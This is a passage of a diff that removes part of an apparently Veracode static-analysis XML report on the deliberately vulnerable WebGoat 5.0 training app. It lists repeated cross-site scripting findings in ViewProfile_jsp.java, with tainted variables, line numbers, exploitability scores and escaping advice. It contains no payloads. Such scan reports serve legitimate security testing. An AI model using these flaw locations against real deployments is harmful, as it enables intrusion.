-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getFirstName().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getFirstName().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getFirstName().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getLastName().
-        The tainted data originated from earlier calls to java.sql.statement.executequery,
-        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getLastName().
-        The tainted data originated from earlier calls to java.sql.statement.executequery,
-        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getLastName().
-        The tainted data originated from earlier calls to java.sql.statement.executequery,
-        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress1().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress1().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress1().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
